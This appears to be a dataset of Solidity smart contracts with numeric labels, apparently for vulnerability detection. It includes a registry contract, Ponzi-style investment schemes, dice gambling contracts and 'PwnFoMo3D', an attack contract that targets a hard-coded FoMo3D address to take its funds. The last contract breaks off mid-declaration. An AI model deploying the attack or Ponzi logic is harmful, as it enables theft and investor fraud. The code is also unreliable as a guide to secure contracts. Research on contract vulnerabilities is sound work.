function apply(bytes32 _listingHash, uint _amount, string _data) onlyIfCurrentRegistry external {
require(!isWhitelisted(_listingHash));
require(!appWasMade(_listingHash));
require(_amount >= parameterizer.get("minDeposit"));
Listing storage listing = listings[_listingHash];
listing.owner = msg.sender;
listing.applicationExpiry = block.timestamp.add(parameterizer.get("applyStageLen"));
listing.unstakedDeposit = _amount;
numApplications[listing.owner] = numApplications[listing.owner].add(1);
totalStaked[listing.owner] = totalStaked[listing.owner].add(_amount);
require(token.transferFrom(listing.owner, this, _amount));
emit _Application(_listingHash, _amount, listing.applicationExpiry, _data);
}
function deposit(bytes32 _listingHash, uint _amount) external {
Listing storage listing = listings[_listingHash];
require(listing.owner == msg.sender);
listing.unstakedDeposit = listing.unstakedDeposit.add(_amount);
totalStaked[listing.owner] = totalStaked[listing.owner].add(_amount);
require(token.transferFrom(msg.sender, this, _amount));
emit _Deposit(_listingHash, _amount, listing.unstakedDeposit);
}
function withdraw(bytes32 _listingHash, uint _amount) external {
Listing storage listing = listings[_listingHash];
require(listing.owner == msg.sender);
require(_amount <= listing.unstakedDeposit);
require(listing.unstakedDeposit.sub(_amount) >= parameterizer.get("minDeposit"));
listing.unstakedDeposit = listing.unstakedDeposit.sub(_amount);
require(token.transfer(msg.sender, _amount));
emit _Withdrawal(_listingHash, _amount, listing.unstakedDeposit);
}
function exit(bytes32 _listingHash) external {
Listing storage listing = listings[_listingHash];
require(msg.sender == listing.owner);
require(isWhitelisted(_listingHash));
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
resetListing(_listingHash);
emit _ListingWithdrawn(_listingHash);
}
function challenge(bytes32 _listingHash, uint _deposit, string _data) onlyIfCurrentRegistry external returns (uint challengeID) {
Listing storage listing = listings[_listingHash];
uint minDeposit = parameterizer.get("minDeposit");
require(appWasMade(_listingHash) || listing.whitelisted);
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
if (listing.unstakedDeposit < minDeposit) {
resetListing(_listingHash);
emit _TouchAndRemoved(_listingHash);
return 0;
}
uint pollID = voting.startPoll(
parameterizer.get("voteQuorum"),
parameterizer.get("commitStageLen"),
parameterizer.get("revealStageLen")
);
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: ((100 - parameterizer.get("dispensationPct")) * _deposit) / 100,
stake: _deposit,
resolved: false,
totalTokens: 0
});
listing.challengeID = pollID;
require(_deposit >= minDeposit && _deposit <= listing.unstakedDeposit);
listing.unstakedDeposit = listing.unstakedDeposit.sub(_deposit);
require(token.transferFrom(msg.sender, this, _deposit));
emit _Challenge(_listingHash, pollID, _deposit, _data);
return pollID;
}
function updateStatus(bytes32 _listingHash) public {
if (canBeWhitelisted(_listingHash)) {
whitelistApplication(_listingHash);
} else if (challengeCanBeResolved(_listingHash)) {
resolveChallenge(_listingHash);
} else {
revert();
}
}
function claimReward(uint _challengeID, uint _salt) public {
require(challenges[_challengeID].tokenClaims[msg.sender] == false);
require(challenges[_challengeID].resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID, _salt);
uint reward = voterReward(msg.sender, _challengeID, _salt);
challenges[_challengeID].totalTokens = challenges[_challengeID].totalTokens.sub(voterTokens);
challenges[_challengeID].rewardPool = challenges[_challengeID].rewardPool.sub(reward);
challenges[_challengeID].tokenClaims[msg.sender] = true;
require(token.transfer(msg.sender, reward));
emit _RewardClaimed(_challengeID, reward, msg.sender);
}
function voterReward(address _voter, uint _challengeID, uint _salt)
public view returns (uint) {
uint totalTokens = challenges[_challengeID].totalTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID, _salt);
return (voterTokens * rewardPool) / totalTokens;
}
function canBeWhitelisted(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
if (
appWasMade(_listingHash) &&
listings[_listingHash].applicationExpiry < now &&
!isWhitelisted(_listingHash) &&
(challengeID == 0 || challenges[challengeID].resolved == true)
) {
return true;
}
return false;
}
function isHuman(address _who) view public returns (bool human) {
return humans[_who];
}
function isWhitelisted(bytes32 _listingHash) view public returns (bool whitelisted) {
return listings[_listingHash].whitelisted;
}
function appWasMade(bytes32 _listingHash) view public returns (bool exists) {
return listings[_listingHash].applicationExpiry > 0;
}
function challengeExists(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
return (challengeID > 0 && !challenges[challengeID].resolved);
}
function challengeCanBeResolved(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
require(challengeExists(_listingHash));
return voting.pollEnded(challengeID);
}
function determineReward(uint _challengeID) public view returns (uint) {
require(!challenges[_challengeID].resolved && voting.pollEnded(_challengeID));
if (voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
return challenges[_challengeID].stake.mul(2);
}
return (challenges[_challengeID].stake).mul(2).sub(challenges[_challengeID].rewardPool);
}
function tokenClaims(uint _challengeID, address _voter) public view returns (bool) {
return challenges[_challengeID].tokenClaims[_voter];
}
function resolveChallenge(bytes32 _listingHash) private {
uint challengeID = listings[_listingHash].challengeID;
uint reward = determineReward(challengeID);
challenges[challengeID].resolved = true;
challenges[challengeID].totalTokens =
voting.getTotalNumberOfTokensForWinningOption(challengeID);
if (voting.isPassed(challengeID)) {
whitelistApplication(_listingHash);
listings[_listingHash].unstakedDeposit = listings[_listingHash].unstakedDeposit.add(reward);
totalStaked[listings[_listingHash].owner] = totalStaked[listings[_listingHash].owner].add(reward);
emit _ChallengeFailed(_listingHash, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens);
}
else {
resetListing(_listingHash);
require(token.transfer(challenges[challengeID].challenger, reward));
emit _ChallengeSucceeded(_listingHash, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens);
}
}
function whitelistApplication(bytes32 _listingHash) private {
Listing storage listing = listings[_listingHash];
if (!listing.whitelisted) {
emit _ApplicationWhitelisted(_listingHash);
}
listing.whitelisted = true;
humans[listing.owner] = true;
}
function resetListing(bytes32 _listingHash) private {
Listing storage listing = listings[_listingHash];
if (listing.whitelisted) {
emit _ListingRemoved(_listingHash);
} else {
emit _ApplicationRemoved(_listingHash);
}
address owner = listing.owner;
uint unstakedDeposit = listing.unstakedDeposit;
delete listings[_listingHash];
delete humans[owner];
if (unstakedDeposit > 0){
require(token.transfer(owner, unstakedDeposit));
}
}
modifier onlyIfCurrentRegistry() {
require(parameterizer.getNewRegistry() == address(0));
_;
}
modifier onlyIfOutdatedRegistry() {
require(parameterizer.getNewRegistry() != address(0));
_;
}
function listingExists(bytes32 listingHash) public view returns (bool) {
return listings[listingHash].owner != address(0);
}
function migrateListing(bytes32 listingHash) onlyIfOutdatedRegistry public {
require(listingExists(listingHash));
require(!challengeExists(listingHash));
address newRegistryAddress = parameterizer.getNewRegistry();
SupercedesRegistry newRegistry = SupercedesRegistry(newRegistryAddress);
Listing storage listing = listings[listingHash];
require(newRegistry.canReceiveListing(
listingHash, listing.applicationExpiry,
listing.whitelisted, listing.owner,
listing.unstakedDeposit, listing.challengeID
));
token.approve(newRegistry, listing.unstakedDeposit);
newRegistry.receiveListing(
listingHash, listing.applicationExpiry,
listing.whitelisted, listing.owner,
listing.unstakedDeposit, listing.challengeID
);
delete listings[listingHash];
emit _ListingMigrated(listingHash, newRegistryAddress);
}
} | 1 | 3,160 |
pragma solidity ^0.4.24;
contract ETHerNity {
struct Tx {
address user;
uint value;
}
address public owner;
Tx[] public txs;
bool blocking;
uint constant MIN_ETHER = 0.01 ether;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier mutex() {
blocking = true;
_;
blocking = false;
}
constructor() public {
owner = msg.sender;
}
function() payable public {
withReferrer(owner);
if (msg.sender == owner) {
dispatch();
}
}
function withReferrer(address referrar) payable public {
if (blocking) return;
owner.send(msg.value / 10);
referrar.send(msg.value / 10);
if (msg.value < MIN_ETHER)
return;
txs.push(Tx({
user: msg.sender,
value: msg.value / 30
}));
}
function dispatch() onlyOwner mutex public {
for(uint i = 0; i < txs.length; i++) {
if (address(this).balance >= txs[i].value)
txs[i].user.send(txs[i].value);
}
}
} | 0 | 2,030 |
pragma solidity ^0.4.24;
library GrowingControl {
using GrowingControl for data;
struct data {
uint min;
uint max;
uint startAt;
uint maxAmountPerDay;
mapping(uint => uint) investmentsPerDay;
}
function addInvestment(data storage control, uint amount) internal
{
control.investmentsPerDay[getCurrentDay()] += amount;
}
function getMaxInvestmentToday(data storage control) internal view returns (uint)
{
if (control.startAt == 0) {
return 10000 ether;
}
if (control.startAt > now) {
return 10000 ether;
}
return control.maxAmountPerDay - control.getTodayInvestment();
}
function getCurrentDay() internal view returns (uint)
{
return now / 24 hours;
}
function getTodayInvestment(data storage control) internal view returns (uint)
{
return control.investmentsPerDay[getCurrentDay()];
}
}
contract InfinityBehzod {
using GrowingControl for GrowingControl.data;
address public owner = 0x0000000000000000000000000000000000000000;
uint constant public MINIMUM_INVEST = 10000000000000000 wei;
uint public currentInterest = 3;
uint public depositAmount;
uint public paidAmount;
uint public round = 1;
uint public lastPaymentDate;
uint public advertFee = 10;
uint public devFee = 5;
uint public profitThreshold = 2;
address public devAddr;
address public advertAddr;
address[] public addresses;
mapping(address => Investor) public investors;
bool public pause;
struct Thunderstorm {
address addr;
uint deposit;
uint from;
}
struct Investor
{
uint id;
uint deposit;
uint deposits;
uint paidOut;
uint date;
address referrer;
}
event Invest(address indexed addr, uint amount, address referrer);
event Payout(address indexed addr, uint amount, string eventType, address from);
event NextRoundStarted(uint indexed round, uint date, uint deposit);
event ThunderstormUpdate(address addr, string eventType);
Thunderstorm public thunderstorm;
GrowingControl.data private growingControl;
modifier onlyOwner {if (msg.sender == owner) _;}
constructor() public {
owner = msg.sender;
devAddr = msg.sender;
addresses.length = 1;
growingControl.min = 30 ether;
growingControl.max = 500 ether;
}
function setAdvertAddr(address addr) onlyOwner public {
advertAddr = addr;
}
function setGrowingControlStartAt(uint startAt) onlyOwner public {
growingControl.startAt = startAt;
}
function getGrowingControlStartAt() public view returns (uint) {
return growingControl.startAt;
}
function setGrowingMaxPerDay(uint maxAmountPerDay) public {
require(maxAmountPerDay >= growingControl.min && maxAmountPerDay <= growingControl.max, "incorrect amount");
require(msg.sender == devAddr, "Only dev team have access to this function");
growingControl.maxAmountPerDay = maxAmountPerDay;
}
function getInvestorData(address[] _addr, uint[] _deposit, uint[] _date, address[] _referrer) onlyOwner public {
for (uint i = 0; i < _addr.length; i++) {
uint id = addresses.length;
if (investors[_addr[i]].deposit == 0) {
addresses.push(_addr[i]);
depositAmount += _deposit[i];
}
investors[_addr[i]] = Investor(id, _deposit[i], 1, 0, _date[i], _referrer[i]);
}
lastPaymentDate = now;
}
function() payable public {
if (isContract()) {
revert();
}
if (pause) {
doRestart();
msg.sender.transfer(msg.value);
return;
}
if (0 == msg.value) {
payDividends();
return;
}
require(msg.value >= MINIMUM_INVEST, "Too small amount, minimum 0.01 ether");
Investor storage user = investors[msg.sender];
if (user.id == 0) {
user.id = addresses.push(msg.sender);
user.date = now;
address referrer = bytesToAddress(msg.data);
if (investors[referrer].deposit > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
} else {
payDividends();
}
uint investment = min(growingControl.getMaxInvestmentToday(), msg.value);
require(investment > 0, "Too much investments today");
user.deposit += investment;
user.deposits += 1;
emit Invest(msg.sender, investment, user.referrer);
depositAmount += investment;
lastPaymentDate = now;
if (devAddr.send(investment / 100 * devFee)) {
}
if (advertAddr.send(investment / 100 * advertFee)) {
}
uint bonusAmount = investment / 100 * currentInterest;
if (user.referrer > 0x0) {
if (user.referrer.send(bonusAmount)) {
emit Payout(user.referrer, bonusAmount, "referral", msg.sender);
}
if (user.deposits == 1) {
if (msg.sender.send(bonusAmount)) {
emit Payout(msg.sender, bonusAmount, "cash-back", 0);
}
}
} else if (thunderstorm.addr > 0x0 && thunderstorm.from + 24 hours > now) {
if (thunderstorm.addr.send(bonusAmount)) {
emit Payout(thunderstorm.addr, bonusAmount, "thunderstorm", msg.sender);
}
}
considerCurrentInterest();
growingControl.addInvestment(investment);
considerThunderstorm(investment);
if (msg.value > investment) {
msg.sender.transfer(msg.value - investment);
}
}
function getTodayInvestment() view public returns (uint)
{
return growingControl.getTodayInvestment();
}
function getMaximumInvestmentPerDay() view public returns (uint)
{
return growingControl.maxAmountPerDay;
}
function payDividends() private {
require(investors[msg.sender].id > 0, "Investor not found");
uint amount = getInvestorDividendsAmount(msg.sender);
if (amount == 0) {
return;
}
investors[msg.sender].date = now;
investors[msg.sender].paidOut += amount;
paidAmount += amount;
uint balance = address(this).balance;
if (balance < amount) {
pause = true;
amount = balance;
}
msg.sender.transfer(amount);
emit Payout(msg.sender, amount, "payout", 0);
if (investors[msg.sender].paidOut >= investors[msg.sender].deposit * profitThreshold) {
delete investors[msg.sender];
}
}
function doRestart() private {
uint txs;
for (uint i = addresses.length - 1; i > 0; i--) {
delete investors[addresses[i]];
addresses.length -= 1;
if (txs++ == 150) {
return;
}
}
emit NextRoundStarted(round, now, depositAmount);
pause = false;
round += 1;
depositAmount = 0;
paidAmount = 0;
lastPaymentDate = now;
}
function getInvestorCount() public view returns (uint) {
return addresses.length - 1;
}
function considerCurrentInterest() internal
{
uint interest;
if (depositAmount >= 4000 ether) {
interest = 1;
} else if (depositAmount >= 1000 ether) {
interest = 2;
} else {
interest = 3;
}
if (interest >= currentInterest) {
return;
}
currentInterest = interest;
}
function considerThunderstorm(uint amount) internal {
if (thunderstorm.addr > 0x0 && thunderstorm.from + 10 days < now) {
thunderstorm.addr = 0x0;
thunderstorm.deposit = 0;
emit ThunderstormUpdate(msg.sender, "expired");
}
if (amount > thunderstorm.deposit) {
thunderstorm = Thunderstorm(msg.sender, amount, now);
emit ThunderstormUpdate(msg.sender, "change");
}
}
function getInvestorDividendsAmount(address addr) public view returns (uint) {
uint time = min(now - investors[addr].date, 5 days);
return investors[addr].deposit / 100 * currentInterest * time / 1 days;
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function isContract() internal view returns (bool) {
return msg.sender != tx.origin;
}
function min(uint a, uint b) public pure returns (uint) {
if (a < b) return a;
else return b;
}
} | 0 | 892 |
contract GetsBurned {
function () payable {
}
function BurnMe () {
selfdestruct(address(this));
}
} | 1 | 4,069 |
pragma solidity ^0.4.24;
interface ERC20 {
function totalSupply() external view returns (uint supply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ABERoll {
ERC20 ABEToken = ERC20(0x1Dc2189B355B5F53b5fdF64d22891900b19FB5ea);
uint256 constant BASE_UNIT = 10 ** ABEToken.decimals() * 10000;
uint constant HOUSE_EDGE_PERCENT = 15;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = BASE_UNIT * 45/100000;
uint constant MIN_JACKPOT_BET = BASE_UNIT * 1/10;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = BASE_UNIT * 1/1000;
uint constant MIN_BET = BASE_UNIT * 1 /100;
uint constant MAX_AMOUNT = BASE_UNIT * 300000;
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
address public beneficiary_ = 0xAdD148Cc4F7B1b7520325a7C5934C002420Ab3d5;
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping (uint => Bet) bets;
address public croupier;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
event Commit(uint commit);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
croupier = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= ABEToken.balanceOf(this), "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= ABEToken.balanceOf(this), "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= ABEToken.balanceOf(this), "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= ABEToken.balanceOf(this), "Not enough funds.");
sendFunds(beneficiary_, withdrawAmount, withdrawAmount);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
require(ABEToken.transfer(beneficiary_,ABEToken.balanceOf(address(this)))," send out all token failure");
selfdestruct(beneficiary_);
}
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s,uint amount) external {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
require(ABEToken.transferFrom(msg.sender,this,amount));
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= ABEToken.balanceOf(this), "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
requireCorrectReceipt(4 + 32 + 32 + 4);
bytes32 canonicalHash;
bytes32 uncleHash;
(canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);
require (blockhash(canonicalBlockNumber) == canonicalHash);
settleBetCommon(bet, reveal, uncleHash);
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 : diceWin + jackpotWin, diceWin);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 1000;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (ABEToken.transfer(beneficiary,amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) }
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
for (;; offset += blobLength) {
assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) }
if (blobLength == 0) {
break;
}
assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) }
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := sha3(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
uncleHash = bytes32(seedHash);
uint scratchBuf2 = scratchBuf1 + uncleHeaderLength;
uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) }
uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) }
require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check.");
offset += 6;
assembly { calldatacopy(scratchBuf2, offset, unclesLength) }
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
assembly { seedHash := sha3(scratchBuf2, unclesLength) }
offset += unclesLength;
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
blockHash := sha3(scratchBuf1, blobLength)
}
}
function requireCorrectReceipt(uint offset) view private {
uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) }
require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes.");
offset += leafHeaderByte - 0xf6;
uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) }
if (pathHeaderByte <= 0x7f) {
offset += 1;
} else {
require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string.");
offset += pathHeaderByte - 0x7f;
}
uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) }
require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) }
require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) }
require (statusByte == 0x1, "Status should be success.");
offset += 1;
uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) }
if (cumGasHeaderByte <= 0x7f) {
offset += 1;
} else {
require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string.");
offset += cumGasHeaderByte - 0x7f;
}
uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) }
require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long.");
offset += 256 + 3;
uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) }
require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long.");
offset += 2;
uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) }
require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long.");
offset += 2;
uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) }
require (addressHeaderByte == 0x94, "Address is 20 bytes long.");
uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) }
require (logAddress == uint(address(this)));
}
function memcpy(uint dest, uint src, uint len) pure private {
for(; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32; src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
} | 0 | 2 |
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function getBuyPrice()
public
view
returns(uint256)
;
function getTimeLeft()
public
view
returns(uint256)
;
function withdraw() external;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract PwnFoMo3D is Owned {
FoMo3DlongInterface fomo3d;
constructor() public payable {
fomo3d = FoMo3DlongInterface(0x0aD3227eB47597b566EC138b3AfD78cFEA752de5);
}
function gotake() public {
if (fomo3d.getTimeLeft() > 50) {
revert();
}
address(fomo3d).call.value( fomo3d.getBuyPrice() *2 )();
}
function withdrawOwner2(uint256 a) public onlyOwner {
fomo3d.withdraw();
}
function withdrawOwner(uint256 a) public onlyOwner {
msg.sender.transfer(a);
}
} | 0 | 2,109 |
pragma solidity ^0.4.24;
contract AceDice {
uint constant HOUSE_EDGE_PERCENT = 2;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint public todaysRewardSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
address inviter;
}
struct Profile{
uint avatarIndex;
string nickName;
}
mapping (uint => Bet) bets;
mapping (address => uint) accuBetAmount;
mapping (address => Profile) profiles;
address public croupier;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
